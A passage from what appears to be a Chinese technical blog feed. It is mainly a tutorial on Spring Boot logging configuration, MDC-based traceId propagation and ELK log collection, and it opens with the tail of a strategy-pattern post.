class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot日志配置和链路排查</title>
      <link href="//springboot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//springboot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot日志配置和链路排查"><a href="#SpringBoot日志配置和链路排查" class="headerlink" title="SpringBoot日志配置和链路排查"></a>SpringBoot日志配置和链路排查</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="Spring-Boot-日志框架"><a href="#Spring-Boot-日志框架" class="headerlink" title="Spring Boot 日志框架"></a>Spring Boot 日志框架</h2><p>#</p><h2 id="默认集成"><a href="#默认集成" class="headerlink" title="默认集成"></a>默认集成</h2><p>Spring Boot 默认使用 SLF4J + Logback：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> org.slf4j.Logger;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.LoggerFactory;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(UserService.class);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;创建用户: &#123;&#125;&quot;</span>, user.getUsername());</span><br><span class="line">        log.debug(<span class="string">&quot;用户详情: &#123;&#125;&quot;</span>, user);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="日志级别"><a href="#日志级别" class="headerlink" title="日志级别"></a>日志级别</h2><table><thead><tr><th>级别</th><th>说明</th></tr></thead><tbody><tr><td>TRACE</td><td>最详细</td></tr><tr><td>DEBUG</td><td>调试信息</td></tr><tr><td>INFO</td><td>一般信息</td></tr><tr><td>WARN</td><td>警告</td></tr><tr><td>ERROR</td><td>错误</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">log.trace(<span class="string">&quot;trace&quot;</span>);</span><br><span class="line">log.debug(<span class="string">&quot;debug&quot;</span>);</span><br><span class="line">log.info(<span class="string">&quot;info&quot;</span>);</span><br><span class="line">log.warn(<span class="string">&quot;warn&quot;</span>);</span><br><span class="line">log.error(<span class="string">&quot;error&quot;</span>);</span><br></pre></td></tr></table></figure><h2 id="日志配置"><a href="#日志配置" class="headerlink" title="日志配置"></a>日志配置</h2><p>#</p><h2 id="application-yml-配置"><a href="#application-yml-配置" class="headerlink" title="application.yml 配置"></a>application.yml 配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">DEBUG</span></span><br><span class="line">    <span class="attr">com.example.mapper:</span> <span class="string">TRACE</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">pattern:</span></span><br><span class="line">    <span class="attr">console:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;50&#125; - %msg%n&quot;</span></span><br><span class="line">    <span class="attr">file:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;50&#125; - %msg%n&quot;</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">file:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">logs/app.log</span></span><br><span class="line">    <span class="attr">max-size:</span> <span class="string">10MB</span></span><br><span class="line">    <span class="attr">max-history:</span> <span class="number">30</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="logback-spring-xml"><a href="#logback-spring-xml" class="headerlink" title="logback-spring.xml"></a>logback-spring.xml</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 彩色控制台输出 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;CONSOLE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.ConsoleAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">encoder</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">pattern</span>&gt;</span>%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; %highlight(%-5level) [%thread] %cyan(%logger&#123;50&#125;) - %msg%n<span class="tag">&lt;/<span class="name">pattern</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">encoder</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 文件输出 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;FILE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.rolling.RollingFileAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">file</span>&gt;</span>logs/app.log<span class="tag">&lt;/<span class="name">file</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">rollingPolicy</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.rolling.TimeBasedRollingPolicy&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">fileNamePattern</span>&gt;</span>logs/app.%d&#123;yyyy-MM-dd&#125;.%i.log<span class="tag">&lt;/<span class="name">fileNamePattern</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">maxHistory</span>&gt;</span>30<span class="tag">&lt;/<span class="name">maxHistory</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">maxFileSize</span>&gt;</span>100MB<span class="tag">&lt;/<span class="name">maxFileSize</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">rollingPolicy</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">encoder</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">pattern</span>&gt;</span>%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;50&#125; - %msg%n<span class="tag">&lt;/<span class="name">pattern</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">encoder</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 异步文件输出 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;ASYNC_FILE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.classic.AsyncAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;FILE&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">queueSize</span>&gt;</span>512<span class="tag">&lt;/<span class="name">queueSize</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 错误日志单独输出 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;ERROR_FILE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.rolling.RollingFileAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">file</span>&gt;</span>logs/error.log<span class="tag">&lt;/<span class="name">file</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">filter</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.classic.filter.ThresholdFilter&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">level</span>&gt;</span>ERROR<span class="tag">&lt;/<span class="name">level</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">filter</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">rollingPolicy</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.rolling.TimeBasedRollingPolicy&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">fileNamePattern</span>&gt;</span>logs/error.%d&#123;yyyy-MM-dd&#125;.log<span class="tag">&lt;/<span class="name">fileNamePattern</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">maxHistory</span>&gt;</span>30<span class="tag">&lt;/<span class="name">maxHistory</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">rollingPolicy</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">encoder</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">pattern</span>&gt;</span>%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;50&#125; - %msg%n<span class="tag">&lt;/<span class="name">pattern</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">encoder</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 根日志 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">root</span> <span class="attr">level</span>=<span class="string">&quot;INFO&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;CONSOLE&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;ASYNC_FILE&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;ERROR_FILE&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 业务日志 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;com.example&quot;</span> <span class="attr">level</span>=<span class="string">&quot;DEBUG&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;com.example.mapper&quot;</span> <span class="attr">level</span>=<span class="string">&quot;TRACE&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="链路追踪（MDC）"><a href="#链路追踪（MDC）" class="headerlink" title="链路追踪（MDC）"></a>链路追踪（MDC）</h2><p>#</p><h2 id="MDC-基础"><a href="#MDC-基础" class="headerlink" title="MDC 基础"></a>MDC 基础</h2><p>MDC（Mapped Diagnostic Context）用于在同一线程的日志中添加上下文信息。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> org.slf4j.MDC;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(OrderService.class);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 设置 traceId</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">traceId</span> <span class="operator">=</span> UUID.randomUUID().toString().replace(<span class="string">&quot;-&quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        MDC.put(<span class="string">&quot;traceId&quot;</span>, traceId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            log.info(<span class="string">&quot;创建订单开始: &#123;&#125;&quot;</span>, request.getOrderNo());</span><br><span class="line">            <span class="comment">// 业务逻辑</span></span><br><span class="line">            log.info(<span class="string">&quot;创建订单完成: &#123;&#125;&quot;</span>, request.getOrderNo());</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="comment">// 必须清理</span></span><br><span class="line">            MDC.clear();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="日志格式中加入-traceId"><a href="#日志格式中加入-traceId" class="headerlink" title="日志格式中加入 traceId"></a>日志格式中加入 traceId</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!-- logback-spring.xml --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;CONSOLE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.ConsoleAppender&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">encoder</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">pattern</span>&gt;</span>%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] [%X&#123;traceId&#125;] %-5level %logger&#123;50&#125; - %msg%n<span class="tag">&lt;/<span class="name">pattern</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">encoder</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">2024-06-29 10:00:00.123 [http-nio-8080-exec-1] [a1b2c3d4e5f6] INFO  c.e.service.OrderService - 创建订单开始: ORDER001</span><br></pre></td></tr></table></figure><p>#</p><h2 id="过滤器自动设置-traceId"><a href="#过滤器自动设置-traceId" class="headerlink" title="过滤器自动设置 traceId"></a>过滤器自动设置 traceId</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Order(Ordered.HIGHEST_PRECEDENCE)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TraceIdFilter</span> <span class="keyword">extends</span> <span class="title class_">OncePerRequestFilter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">TRACE_ID</span> <span class="operator">=</span> <span class="string">&quot;traceId&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">TRACE_ID_HEADER</span> <span class="operator">=</span> <span class="string">&quot;X-Trace-Id&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doFilterInternal</span><span class="params">(HttpServletRequest request, </span></span><br><span class="line"><span class="params">                                    HttpServletResponse response, </span></span><br><span class="line"><span class="params">                                    FilterChain filterChain)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 从请求头获取或生成 traceId</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">traceId</span> <span class="operator">=</span> request.getHeader(TRACE_ID_HEADER);</span><br><span class="line">        <span class="keyword">if</span> (StringUtils.isBlank(traceId)) &#123;</span><br><span class="line">            traceId = UUID.randomUUID().toString().replace(<span class="string">&quot;-&quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 设置到 MDC</span></span><br><span class="line">        MDC.put(TRACE_ID, traceId);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 设置到响应头</span></span><br><span class="line">        response.setHeader(TRACE_ID_HEADER, traceId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            filterChain.doFilter(request, response);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            MDC.clear();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Feign-传递-traceId"><a href="#Feign-传递-traceId" class="headerlink" title="Feign 传递 traceId"></a>Feign 传递 traceId</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FeignConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RequestInterceptor <span class="title function_">traceIdInterceptor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> template -&gt; &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">traceId</span> <span class="operator">=</span> MDC.get(TraceIdFilter.TRACE_ID);</span><br><span class="line">            <span class="keyword">if</span> (StringUtils.isNotBlank(traceId)) &#123;</span><br><span class="line">                template.header(TraceIdFilter.TRACE_ID_HEADER, traceId);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="线程池传递-MDC"><a href="#线程池传递-MDC" class="headerlink" title="线程池传递 MDC"></a>线程池传递 MDC</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MdcThreadPoolExecutor</span> <span class="keyword">extends</span> <span class="title class_">ThreadPoolExecutor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">MdcThreadPoolExecutor</span><span class="params">(<span class="type">int</span> corePoolSize, <span class="type">int</span> maximumPoolSize, </span></span><br><span class="line"><span class="params">                                  <span class="type">long</span> keepAliveTime, TimeUnit unit,</span></span><br><span class="line"><span class="params">                                  BlockingQueue&lt;Runnable&gt; workQueue)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">execute</span><span class="params">(Runnable task)</span> &#123;</span><br><span class="line">        Map&lt;String, String&gt; context = MDC.getCopyOfContextMap();</span><br><span class="line">        <span class="built_in">super</span>.execute(() -&gt; &#123;</span><br><span class="line">            <span class="keyword">if</span> (context != <span class="literal">null</span>) &#123;</span><br><span class="line">                MDC.setContextMap(context);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                task.run();</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                MDC.clear();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Async-传递-MDC"><a href="#Async-传递-MDC" class="headerlink" title="@Async 传递 MDC"></a>@Async 传递 MDC</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncConfig</span> <span class="keyword">implements</span> <span class="title class_">AsyncConfigurer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="meta">@Bean(name = &quot;taskExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">getAsyncExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        executor.setCorePoolSize(<span class="number">10</span>);</span><br><span class="line">        executor.setMaxPoolSize(<span class="number">20</span>);</span><br><span class="line">        executor.setQueueCapacity(<span class="number">200</span>);</span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;async-&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 包装为 MDC 传递的 Executor</span></span><br><span class="line">        executor.setTaskDecorator(<span class="keyword">new</span> <span class="title class_">MdcTaskDecorator</span>());</span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MdcTaskDecorator</span> <span class="keyword">implements</span> <span class="title class_">TaskDecorator</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Runnable <span class="title function_">decorate</span><span class="params">(Runnable runnable)</span> &#123;</span><br><span class="line">        Map&lt;String, String&gt; contextMap = MDC.getCopyOfContextMap();</span><br><span class="line">        <span class="keyword">return</span> () -&gt; &#123;</span><br><span class="line">            <span class="keyword">if</span> (contextMap != <span class="literal">null</span>) &#123;</span><br><span class="line">                MDC.setContextMap(contextMap);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                runnable.run();</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                MDC.clear();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="日志收集（ELK）"><a href="#日志收集（ELK）" class="headerlink" title="日志收集（ELK）"></a>日志收集（ELK）</h2><p>#</p><h2 id="Filebeat-配置"><a href="#Filebeat-配置" class="headerlink" title="Filebeat 配置"></a>Filebeat 配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># filebeat.yml</span></span><br><span class="line"><span class="attr">filebeat.inputs:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">type:</span> <span class="string">log</span></span><br><span class="line">  <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">paths:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/var/log/app/*.log</span></span><br><span class="line">  <span class="attr">fields:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">my-service</span></span><br><span class="line">    <span class="attr">env:</span> <span class="string">prod</span></span><br><span class="line">  <span class="attr">multiline.pattern:</span> <span class="string">&#x27;^\d&#123;4&#125;-\d&#123;2&#125;-\d&#123;2&#125;&#x27;</span></span><br><span class="line">  <span class="attr">multiline.negate:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">multiline.match:</span> <span class="string">after</span></span><br><span class="line"></span><br><span class="line"><span class="attr">output.logstash:</span></span><br><span class="line">  <span class="attr">hosts:</span> [<span class="string">&quot;logstash:5044&quot;</span>]</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Logstash-配置"><a href="#Logstash-配置" class="headerlink" title="Logstash 配置"></a>Logstash 配置</h2><figure class="highlight ruby"><table><tr><td class="code"><pre><span class="line"><span class="comment"># logstash.conf</span></span><br><span class="line">input &#123;</span><br><span class="line">  beats &#123;</span><br><span class="line">    port =&gt; <span class="number">5044</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">filter &#123;</span><br><span class="line">  grok &#123;</span><br><span class="line">    match =&gt; &#123; </span><br><span class="line">      <span class="string">&quot;message&quot;</span> =&gt; <span class="string">&quot;%&#123;TIMESTAMP_ISO8601:timestamp&#125; \[%&#123;DATA:thread&#125;\] \[%&#123;DATA:traceId&#125;\] %&#123;LOGLEVEL:level&#125; %&#123;DATA:logger&#125; - %&#123;GREEDYDATA:msg&#125;&quot;</span> </span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  date &#123;</span><br><span class="line">    match =&gt; [ <span class="string">&quot;timestamp&quot;</span>, <span class="string">&quot;ISO8601&quot;</span> ]</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;</span><br><span class="line">  elasticsearch &#123;</span><br><span class="line">    hosts =&gt; [<span class="string">&quot;elasticsearch:9200&quot;</span>]</span><br><span class="line">    index =&gt; <span class="string">&quot;app-logs-%&#123;+YYYY.MM.dd&#125;&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Kibana-查询"><a href="#Kibana-查询" class="headerlink" title="Kibana 查询"></a>Kibana 查询</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 按 traceId 查询链路</span><br><span class="line">traceId: &quot;a1b2c3d4e5f6&quot;</span><br><span class="line"></span><br><span class="line"># 按应用和级别查询</span><br><span class="line">app: &quot;my-service&quot; AND level: &quot;ERROR&quot;</span><br><span class="line"></span><br><span class="line"># 时间范围</span><br><span class="line">timestamp: [&quot;now-1h&quot; TO &quot;now&quot;]</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><p>#</p><h2 id="1-日志规范"><a href="#1-日志规范" class="headerlink" title="1. 日志规范"></a>1. 日志规范</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好：使用占位符，不拼接字符串</span></span><br><span class="line">log.info(<span class="string">&quot;用户&#123;&#125;创建订单&#123;&#125;&quot;</span>, userId, orderId);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 差：字符串拼接，无条件也执行</span></span><br><span class="line">log.info(<span class="string">&quot;用户&quot;</span> + userId + <span class="string">&quot;创建订单&quot;</span> + orderId);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 异常日志</span></span><br><span class="line">log.error(<span class="string">&quot;订单创建失败: &#123;&#125;&quot;</span>, orderId, e);  <span class="comment">// 带异常堆栈</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-敏感信息脱敏"><a href="#2-敏感信息脱敏" class="headerlink" title="2. 敏感信息脱敏"></a>2. 敏感信息脱敏</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@DataMask(type = MaskType.PHONE)</span></span><br><span class="line"><span class="keyword">private</span> String phone;</span><br><span class="line"></span><br><span class="line"><span class="meta">@DataMask(type = MaskType.ID_CARD)</span></span><br><span class="line"><span class="keyword">private</span> String idCard;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-日志采样"><a href="#3-日志采样" class="headerlink" title="3. 日志采样"></a>3. 日志采样</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (log.isDebugEnabled()) &#123;</span><br><span class="line">    log.debug(<span class="string">&quot;详细调试信息: &#123;&#125;&quot;</span>, expensiveOperation());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>组件</th><th>用途</th></tr></thead><tbody><tr><td>SLF4J + Logback</td><td>日志框架</td></tr><tr><td>MDC</td><td>线程级上下文</td></tr><tr><td>TraceIdFilter</td><td>自动生成/传递 traceId</td></tr><tr><td>Feign Interceptor</td><td>服务间传递 traceId</td></tr><tr><td>MdcTaskDecorator</td><td>异步线程传递 MDC</td></tr><tr><td>ELK</td><td>日志收集与分析</td></tr></tbody></table><p>完善的日志和链路追踪体系，是排查线上问题的利器。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
